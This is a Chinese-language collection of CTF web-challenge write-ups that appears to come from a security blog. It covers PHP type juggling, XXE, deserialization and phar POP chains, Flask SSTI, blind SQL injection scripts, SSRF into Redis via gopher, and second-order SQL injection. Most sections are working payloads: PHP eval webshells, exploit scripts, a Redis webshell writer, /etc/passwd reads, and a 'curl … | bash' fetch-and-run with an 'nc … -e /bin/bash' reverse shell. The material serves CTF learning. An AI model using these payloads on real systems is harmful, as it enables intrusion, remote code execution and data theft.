<?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if (intval($num) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET['md5' ])){ $md5=$_GET['md5' ]; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET['get_flag' ])){ $get_flag = $_GET['get_flag' ]; if (!strstr($get_flag," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
level1
1
intval($num ) < 2020 && intval($num + 1) > 2021
这里传入num=1e7即可。 在进行intval($num)时被截断成为1,1<2020 => True; 而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。 绕过了。
level2
一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。 这里利用0e绕过:
1
md5('0e215962017' ) ==> “0e291242476940776845150308577824”
get flag 这里是个RCE,过滤了空格和cat。 空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:
1
fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[网鼎杯 2020 朱雀组]Nmap
回显hacker,经查,php被过滤,使用短标签绕过
1
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
[极客大挑战 2019]FinalSQL
[MRCTF2020]PYWebsite
前端验证,直接访问/flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
function enc (code) { hash = hex_md5(code); return hash; } function validate () { var code = document.getElementById("vcode" ).value; if (code != "" ){ if (hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c" ){ alert("您通过了验证!" ); window.location = "./flag.php" }else { alert("你的授权码不正确!" ); } }else { alert("请输入授权码" ); } }
修改请求数据包头部X-Forwarded-For:127.0.0.1
[NCTF2019]True XML cookbook
读取源码,发现file协议读没用,换php协议读
1 2 3 4 5 6
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY penson SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php" > ]> <user><username>&penson;</username><password>penson</password></user>
没发现什么 打内网,先读取/etc/hosts,我这里是没发现ip,看网上的writeup是存在个ip地址,爆破一下c端地址,其中访问一个ip地址即可得flag
1 2 3 4 5 6
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY penson SYSTEM "http://173.10.47.11" > ]> <user><username>&penson;</username><password>penson</password></user>
[NPUCTF2020]ReadlezPHP
/time.php?source= 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<?php class HelloPhp { public $a; public $b; public function __construct () { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct () { $a = $this ->a; $b = $this ->b; echo $b($a); } } $c = new HelloPhp; if (isset ($_GET['source' ])){ highlight_file(__FILE__ ); die (0 ); } @$ppp = unserialize($_GET["data" ]);
payload
1
time.php?data=O:8:"HelloPhp" :2:{s:1:"a" ;s:15:"eval($_GET [y]);" ;s:1:"b" ;s:6:"assert" ;}&y=phpinfo();
[BJDCTF2020]EasySearch
index.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
<?php ob_start(); function get_hash () { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )].$chars[mt_rand(0 ,73 )]; $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST['username' ]) and $_POST['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr(md5($_POST['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash().".shtml" ; $shtml = fopen($file_shtml, "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST['username' ].'</h1> *** ***' ; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } *** ?>
ssi注入漏洞:https://blog.csdn.net/qq_40657585/article/details/84260844
[BJDCTF 2nd]xss之光
/.git/源码泄露 index.php
1 2 3
<?php $a = $_GET['yds_is_so_beautiful' ]; echo unserialize($a);
反序列化之PHP原生类的利用:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
[CISCN2019 华北赛区 Day1 Web2]ikun
jwt 弱秘钥 ,pickle反序列化漏洞
[MRCTF2020]Ezpop
这里算是学到一个知识点,嵌套定义一个类,就可以调用__construct()
.
思路如下:
1.调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()
魔术方法。将Modifier这个类变成一个函数,从而调用__invoke()
方法,进而调用include()函数
2.让source 等于对象,进而触发__toString
方法,输出内容
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php" ; } class Test { public $p; } class Show { public $source; public $str; public function __construct () { $this ->str = new Test(); } } $a = new Show(); $a->source = new Show(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a));
[CISCN2019 华北赛区 Day1 Web1]Dropbox
存在任意文件下载
思路如下:
上传一个phar文件,后缀为图片的格式 然后在delete.php中访问它,以phar://test.jpg的形式,此时会调用file->open()中的file_exists()会触发反序列化,(此时file_exists()返回的是false) 此时只有user的__descruct
会调用close()函数,但是没有回显功能,我们只能找一个有回显的地方进行序列化 我们观察到FileList类的__descruct
有echo函数,输出$table,而$table的内容来自$result,我们再来看一下__call
函数
1 2 3 4 5 6
public function __call ($func, $args) { array_push($this ->funcs, $func); foreach ($this ->files as $file) { $this ->results[$file->name()][$func] = $file->$func(); } }
__call
函数是指当调用类不存在的方法时就会调用__call
函数 其中$func就是指我们调用的不存在方法,而$args是指我们的参数, 通过代码我们知道假如我们调用close()方法,那么最后会调用
即$file->close(),并且存入$result中,那么file_get_contents的内容就能回显出来了~~
最后的payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
<?php class User { public $db; } class File { public $filename = '/flag.txt' ; } class FileList { private $files; private $results; private $funcs; public function __construct () { $this ->files = array (new File()); $this ->results = array (); $this ->funcs = array (); } } $o = new User(); $o->db =(new FileList()); echo serialize($o);$phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata($o); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering(); ?>
最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists(),那是因为download.php有base_dir限制,我们不能读出在/目录下的文件
[GYCTF2020]FlaskApp
ssti模板注入 读取app.py文件内容
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open('app.py' ,'r' ).read () }}{% endif %}{% endfor %}
得知waf
1 2 3 4 5 6 7 8 9 10 11
def waf (str) : black_list = [ & ] for x in black_list: if x in str.lower(): return 1 @ app.route( &
字符串拼接绕过,listdir列出文件
1 2 3 4 5
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ]['__imp' +'ort__' ]('o' +'s' ).listdir('/' )}} {% endif %} {% endfor %}
倒序绕过
1 2 3 4 5
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].open('txt.galf_eht_si_siht/' [::-1 ],'r' ).read()}} {% endif %} {% endfor %}
拼接绕过
1 2 3 4 5
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].open('/this_is_the_fl' +'ag.txt' ,'r' ).read()}} {% endif %} {% endfor %}
[GKCTF2020]老八小超市儿
后台admin.php 账户密码:admin shopxo
接下来就在应用中心里的应用商店找到主题,然后下载默认主题。 在_static_里面加上一个test.php,这里面就是我们加入的一句话了,加个phpinfo()可以方便确认马到底有没有穿上去。在/public/static/index/default/test.php ,打开验证一下。 连接成功后发现目录里有flag和flag.hint 打开flag里面是假flag ,然后尝试的打开root目录,发现权限不够
打开这个标红的auto.sh,发现他60秒运行一次makeflaghint.py的脚本,makeflaghint.py有权限修改,添加os.system("cat /root/flag > /1.txt")
,过一分钟后即可得flag
[CISCN2019 华东南赛区]Web11
smarty模板注入
[GWCTF 2019]枯燥的抽奖
PHP mt_rand安全杂谈及应用场景详解 check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
iNoUoNVRYN <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION['seed' ])){$_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str, 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ;if (isset ($_POST['num' ])){ if ($_POST['num' ]===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
[极客大挑战 2019]RCE ME
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php error_reporting(0 ); if (isset ($_GET['code' ])){ $code=$_GET['code' ]; if (strlen($code)>40 ){ die ("This is too Long." ); } if (preg_match("/[A-Za-z0-9]+/" ,$code)){ die ("NO." ); } @eval ($code); } else { highlight_file(__FILE__ ); }
构造取反连接蚁剑
1 2 3 4 5 6 7 8
<?php $a='assert' ; echo urlencode(~$a)."\n" ;$b='(eval($_POST[y]))' ; echo urlencode(~$b)."\n" ;?>
一句话
1 2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%86%A2%D6%D6); 密码:y
看到根目录下存在flag和readflag文件.应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了。可以通过蚁剑的绕过disable_functions来执行 这里选择PHP_GC_UAF
[WUSTCTF2020]颜值成绩查询
输入1 成绩100 输入2 成绩666 输入2-1 成绩100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
import requestsurl= 'http://763ada9b-220d-4dcb-b0e5-2f4a21bd2544.node3.buuoj.cn/' database ="" payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1" payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" payload4 = "?stunum=(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})" for i in range(35 ,10000 ): low = 32 high = 128 mid =(low + high) // 2 while (low < high): payload = payload4.format(i,mid) new_url = url + payload r = requests.get(new_url) if "Hi admin" in r.text: low = mid + 1 else : high = mid mid = (low + high) //2 if (mid == 32 or mid == 132 ): break database +=chr(mid) print(database) print(database)
[MRCTF2020]套娃
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<!-- $query = $_SERVER['QUERY_STRING' ]; if ( substr_count($query, '_' ) !== 0 || substr_count($query, '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){ echo "you are going to the next ~" ; } !--> ``` [利用PHP的字符串解析特性Bypass](https: PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: ```bash 1. 删除空白符2. 将某些字符转换为下划线(包括空格)
可以用%20代替下划线从而绕过第一个if 第二个if中正则匹配表示匹配字符窜的开头和结尾 由于在字符窜中换行可以表示字符窜的结尾,所以可以用%0a(换行符的url编码)绕过
访问secrettw.php
解码jsfuck,得到alert(“post me Merak” post Merak 得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip;if ($ip === '127.0.0.1' && file_get_contents($_GET['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET['file' ]);echo file_get_contents(change($_GET['file' ])); }?>
反写chnage
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php function unchange ($v) { $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) - $i*2 ); } return $re; } $real_flag = unchange('flag.php' ); echo base64_encode($real_flag);?>
最终payload
1 2 3 4
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI= http头 Client-ip : 127.0.0.1
[BSidesCF 2019]Kookie
用题目提供的用户密码cookie / monster 登陆,查看cookie,将username修改为admin
[CISCN2019 总决赛 Day2 Web1]Easyweb
访问robots.txt,得知有bak备份 image.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php include "config.php" ;$id=isset ($_GET["id" ])?$_GET["id" ]:"1" ; $path=isset ($_GET["path" ])?$_GET["path" ]:"" ; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id); $path=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'" ); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path" ]; header("Content-Type: image/jpeg" ); readfile($path);
addslashes()函数,这个函数会把特殊的字符转义。
比如:单引号会被转义成',斜杠会转义为\.
第十行的str_replace会把”\0”,”%00”,”\‘“,”‘“中的任意一个替换成空。
我们可根据这个绕过当传入id=\0时,就会在 查询语句处改变sql语句。
即:select * from images where id=’ ' or path=’+{$path}’
所以我们可以在path处注入我们的新语句,
由于没有查询结果回显,所以此处是盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsurl = "http://18d42f36-2704-43a9-8690-b52a3c0a95e8.node3.buuoj.cn/image.php?id=\\0&path=or 1=" result = "" last="tmp" i=0 while ( last != result ): i=i+1 head=32 tail=127 while head < tail : mid = ( head + tail ) >> 1 payload = "if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,-1)%%23" %(i,mid) r = requests.get(url+payload) if b"JFIF" in r.content : head = mid + 1 else : tail = mid last = result if chr(head)!=' ' : result += chr(head) print(result)
这里会将文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:
1
filename="<?=@eval($_POST ['a']);?>"
这个文件名,会被写入日志文件中去,然后用菜刀连接。
[FBCTF2019]RCEService
json属性字段一定要用双引号括起来,单引号是不可以的。 https://xz.aliyun.com/t/5399
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
<?php putenv('PATH=/home/rceservice/jail' ); if (isset ($_REQUEST['cmd' ])) { $json = $_REQUEST['cmd' ]; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json)) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode($json, true )['cmd' ]; if ($cmd !== NULL ) { system($cmd); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
但是他用的是preg_match()函数,只匹配一行,用个换行符搞定
1
?cmd={%0A"cmd" : "ls /" %0A}
并没有flag
在这里插入图片描述 这里提供了路径,暂时明白为啥可以ls了,因为ls的二进制文件放在这个目录下了
看看这个路径都有啥
1
?cmd={%0A"cmd" : "ls /home/rceservice" %0A}
发现flag
1
?cmd={%0A"cmd" :"/bin/cat%20/home/rceservice/flag" %0A}
[GKCTF2020]EZ三剑客-EzWeb
查看源码,提示 ?secret,访问得一些 ip 信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
eth0 Link encap:Ethernet HWaddr 02:42:0a:dd:75:09 inet addr:10.221.117.9 Bcast:10.221.117.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:138 errors:0 dropped:0 overruns:0 frame:0 TX packets:137 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:29124 (29.1 KB) TX bytes:29110 (29.1 KB) eth1 Link encap:Ethernet HWaddr 02:42:ac:12:00:3b inet addr:172.18.0.59 Bcast:172.18.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:85 errors:0 dropped:0 overruns:0 frame:0 TX packets:27 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:21931 (21.9 KB) TX bytes:1640 (1.6 KB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:34 errors:0 dropped:0 overruns:0 frame:0 TX packets:34 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2927 (2.9 KB) TX bytes:2927 (2.9 KB)
得知有srrf漏洞,file://协议被过滤了,用发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///
1 2
?url=file:/var/www/html/index.php ?url=file:%20///var/www/html/index.php
得知index.php漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php function curl ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0 ); echo curl_exec($ch); curl_close($ch); } if (isset ($_GET['submit' ])){ $url = $_GET['url' ]; if (preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is' , $url,$match)) { die ('鍒繖鏍�' ); } curl($url); } if (isset ($_GET['secret' ])){ system('ifconfig' ); } ?>
bp跑一下 10.55.109.9 c 段主机, 跑一下 10.55.109.11的端口,或直接试一试常见的端口6379/3306 后面就直接写shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import urllib protocol="gopher://" ip="10.55.109.11" port="6379" shell="\n\n<?php system('cat /flag');?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format(shell.replace(" " ,"${IFS} " )), "config set dir {}" .format(path), "config set dbfilename {}" .format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}" .format(passwd)) payload=protocol+ip+":" +port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str(len((x.replace("${IFS} " ," " ))))+CRLF+x.replace("${IFS} " ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.request.quote(redis_format(x)) print (urllib.request.quote(payload))
在访问,即可得flag
1
url=http://10.55.109.11:80/shell.php
[BJDCTF 2nd]elementmaster
506F2E706870 hextotext得到Po.php 结果是And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,进去就能得到flag
已经提示用户名和密码了,弱密码登录(得自己去爆破) zhangwei666即可 .git泄露,Git_Extract恢复一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
<?php include "mysql.php" ;session_start(); if ($_SESSION['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); } if (isset ($_GET['do' ])){switch ($_GET['do' ]){ case 'write' : $category = addslashes($_POST['category' ]); $title = addslashes($_POST['title' ]); $content = addslashes($_POST['content' ]); $sql = "insert into board set category = '$category', title = '$title', content = '$content'" ; $result = mysql_query($sql); header("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes($_POST['bo_id' ]); $sql = "select category from board where id='$bo_id'" ; $result = mysql_query($sql); $num = mysql_num_rows($result); if ($num>0 ){ $category = mysql_fetch_array($result)['category' ]; $content = addslashes($_POST['content' ]); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'" ; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id" ); break ; default : header("Location: ./index.php" ); } } else { header("Location: ./index.php" ); } ?>
可以发现当do=write的时候,传入的信息都会进行转义,但是数据库会自动清除反斜杠, 当do=comment的时候,可以发现直接从category这个字段进行查询,这就导致了二次注入 所以说那个转义函数根本起不到防护的作用。 要在第一步的时候插入
1
category=1’,content=user(),/*
在第二步的时候留言
这样插入数据库中的留言就会变成
1 2 3 4
insert into comment set category = '1' ,content=user(),/* content = '*/#' , bo_id = '$bo_id'
这里注意一下 #
注释一行 /**/
注释多行
看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL语句 读取flag文件了。
首先读取 /etc/passwd 看看服务器上有哪些用户,payload为: 1’,content=(select load_file(‘/etc/passwd’)),/* 发现 www 用户的一些操作。看见有 .DS_Store 文件,考虑到目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为: ‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/* 得知flag文件名
1
1',content=(select hex(load_file(' /var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
[BJDCTF 2nd]duangShell
vim编辑一个文件产生的临时文件,处理不当有可能造成泄露。其泄露方式为 文件名.swp 有些时候文件名前会有一个点.。然后获得这个.swp文件后,在Linux里通过命令 vim -r xxx.swp 来让临时文件恢复正常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
<?php error_reporting(0 ); echo "how can i give you source code? .swp?!" ."<br>" ;if (!isset ($_POST['girl_friend' ])) { die ("where is P3rh4ps's girl friend ???" ); } else { $girl = $_POST['girl_friend' ]; if (preg_match('/\>|\\\/' , $girl)) die ('just girl' ); else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i' , $girl)) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->" ; } else { exec($girl); } } ?>
本题的RCE绕过 poc1:通过 curl url获得某个网址的某个文件的内容,再通过管道符转移给bash处理,如: curl url/shell.txt|bash shell.txt里是要执行的命令,本题建议在shell.txt里放反弹shell指令 poc2: 监听命令 攻击机
靶机上执行
1
nc vpsip port -e /bin/bash
用find / -name flag 寻找flag
[BJDCTF 2nd]Schrödinger
应该是输入文件,对其进行check后删除,正好符合前面提示要求的删除的test.php 输入
http://5612956a-2228-4ed1-99ae-3039a69fa7d1.node3.buuoj.cn/test.php
点击input,发现页面发生了变化 点击check并抓包 看到有base64编码,解码后发现是时间戳,将其修改为0,然后Forward b站视频的av号,去翻一下评论即可得到flag
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
查看源码发现最底下有个提示,说明可能存在文件包含
用filter伪协议读出所有可以找到的页面和文件的源码,整理一下, 开始分析可能存在的漏洞
confirm.php存储 address 字段的值,change.php 又拿出来使用,导致 二次注入
1 2
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file(' /flag.txt'),1,20)),0x7e),1)# 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt' ),21,40)),0x7e),1)
FROM :blog.cfyqy.com | Author:cfyqy
评论